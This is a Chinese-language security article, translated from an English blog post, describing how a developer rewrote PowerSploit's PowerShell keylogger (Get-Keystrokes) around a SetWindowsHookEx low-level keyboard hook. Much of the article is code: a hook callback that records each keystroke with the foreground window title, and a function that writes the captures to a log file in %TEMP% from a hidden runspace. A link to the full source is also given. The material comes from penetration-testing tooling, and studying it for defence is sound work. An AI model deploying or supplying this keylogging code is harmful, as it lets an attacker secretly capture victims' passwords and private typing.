首页 » 漏洞 » 使用脚本编写一个windows键盘记录器

使用脚本编写一个windows键盘记录器

 

使用脚本编写一个windows键盘记录器

2016-01-21 10:45:11 来源:360安全播报 作者:Resolution
阅读:1415次 点赞(0) 收藏


分享到:

使用脚本编写一个windows键盘记录器

最近,我有幸得到了一个参与项目开发的机会,该项目叫PowerSploit,(PowerSploit是又一款Post Exploitation相关工具,Post Exploitation是老外渗透测试标准里面的东西,就是获取shell之后干的一些事情。PowerSploit其实就是一些powershell 脚本,包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)、Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml获取明文密码)、Invoke- ReverseDnsLookup(扫描 DNS PTR记录))。我从该项目中学到了有关Post Exploitation的知识,并且获得了一些开发经验。去年圣诞节后的第二天,我得到了要用powershell编写一个键盘记录器的消息。同时在邮箱中,看到了这样一封电子邮件,说要开发一个windows键盘记录器,这激起了我的兴趣。Coldalfred在邮件写道:“当我将PollingInterval参数设置为40 ,100,或1000时,就出现运行错误,使得Powershell占用了大量的内存,出现这种现象正常么?”正好当时我有时间,于是,我就决定要弄清楚这个问题的原因,找找看解决的办法。

通过研究,我遇到了和Coldalfred同样的问题。事实证明,PollingInterval参数没能被传递到初始化例程中。这个参数设置了一个睡眠指令,作为记录键盘操作的主要方式。当输入值为空时,系统就会执行该指令,并出现一个要终止操作的对话框,系统将进入睡眠状态。因为系统是在Coldalfred所描述的那个特殊环境下进行运行,才出现了这个问题。而在一般情况下,这个错误并不会发生。而他正是想要掩盖这个错误,才使得Powershell占用了大量内存,造成了内存空间的过度消耗。

我的初衷是想要修复PollingInterval参数,以及用一个新的工作域来代替之前使用的那个。下面的代码片段,就强调了这一点:

使用脚本编写一个windows键盘记录器

与此同时,对Coldalfred所发现的问题进行评论的系统,PowerSploit项目的发起人已经将其关闭了。“对于开发键盘记录器,SetWindowsHookEx应该比其他脚本更适合,但它有一定的运行条件,即:在磁盘上必须装有DLL文件(DLL文件:动态链接库文件)。”使用SetWindowsHookEx的好处在于,你可以实时控制桌面上所有程序进程的运行状态,并且在创建新进程时,保证数据的安全传递,而不是像以前那样,必须在GetAsyncKeystate的协助下,详尽地检查每个键的状态,同时,也避免了丢失数据的发生。我在这方面做了些研究,看到了一个有趣的解决方法,它是由一名叫做Hans Passant的研究员提出的。他说,实际上这种软件有两种类型,它们都不需要DLL,其中一个还是为那些键盘信息输入量较少的用户设计的。黑客在使用这类软件(如灰鸽子)来盗取用户信息时,使用一种带有循环队列的钩子技术(Hook),在队列中检查用户的键盘输入记录。下面的PeekMessage函数,就是用来检查队列过滤器中指定的键盘信息(0x100,0x109),并进行处理。

使用脚本编写一个windows键盘记录器

尽管Powershell和C#都用的.Net的框架结构,并且和Windows API有很好的兼容性,但是那些在C#中可以轻松实现的功能,换到Powershell中的话,就需要做一些改变了。我所做的这次尝试只是其中的一次。在使用SetWindowsHookEx时,必须先用LowLevelKeyboardProc定义一个具有回调功能的函数,才能实现对键盘消息的检索处理。这就意味着,我必须找到一个非托管API函数,作为回调函数,来执行.Net脚本。值得庆幸的是,我已经了解了有关之前的互联网漫游技术中所提到的,在Powershell中如何使用非托管函数的方法,并且能够实现该函数功能了。如下面代码所示:

# Define callback
$CallbackScript = {
    Param (
        [Int32]$Code,
        [IntPtr]$wParam,
        [IntPtr]$lParam
    )
    $MsgType = $wParam.ToInt32()
    # Process WM_KEYDOWN & WM_SYSKEYDOWN messages
    if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
    
        # Get handle to foreground window
        $hWindow = $GetForegroundWindow.Invoke()
        # Read virtual-key from buffer
        $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
        # Parse virtual-key
        if ($vKey -gt 64 -and $vKey -lt 91) { Alphabet characters }
        elseif ($vKey -ge 96 -and $vKey -le 111) { Number pad characters }
        elseif (($vKey -ge 48 -and $vKey -le 57) -or `
                ($vKey -ge 186 -and $vKey -le 192) -or `
                ($vKey -ge 219 -and $vKey -le 222)) { Shiftable characters }
        else { Special Keys }
        # Get foreground window's title
        $Title = New-Object Text.Stringbuilder 256
        $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
        # Define object properties
        $Props = @{
            Key = $Key
            Time = [DateTime]::Now
            Window = $Title.ToString()
        }
        New-Object psobject -Property $Props
    }
    # Call next hook or keys won't get passed to intended destination
    return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)

而之后要做的就是,将这些封装起来,放到一个单独的工作域中进行执行。

function Get-Keystrokes {
    [CmdletBinding()] 
    Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
        [String]$LogPath = "$($env:TEMP)/key.log",
        [Parameter(Position = 1)]
        [Double]$Timeout,
        [Parameter()]
        [Switch]$PassThru
    )
    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
   try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
    catch { throw $_ }
    $Script = {
        Param (
            [Parameter(Position = 0)]
            [String]$LogPath,
            [Parameter(Position = 1)]
            [Double]$Timeout
        )
        # function local:Get-DelegateType
        # function local:Get-ProcAddress
        # Imports
        # $CallbackScript 
        # Cast scriptblock as LowLevelKeyboardProc callback
        # Get handle to PowerShell for hook
        # Set WM_KEYBOARD_LL hook
        # Message loop
    
        # Remove the hook
        $UnhookWindowsHookEx.Invoke($Hook)
    }
    # Setup KeyLogger's runspace
    $PowerShell = [PowerShell]::Create()
    [void]$PowerShell.AddScript($Script)
    [void]$PowerShell.AddArgument($LogPath)
    if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
    # Start KeyLogger
    [void]$PowerShell.BeginInvoke()
    if ($PassThru.IsPresent) { return $PowerShell }
}


        完整的源代码可以在后面这个网页中找到:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-Keystrokes.ps1

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://www.patch-tuesday.net/2016/01/scripting-windows-key-logger.html

原文链接:使用脚本编写一个windows键盘记录器,转载请注明来源!

0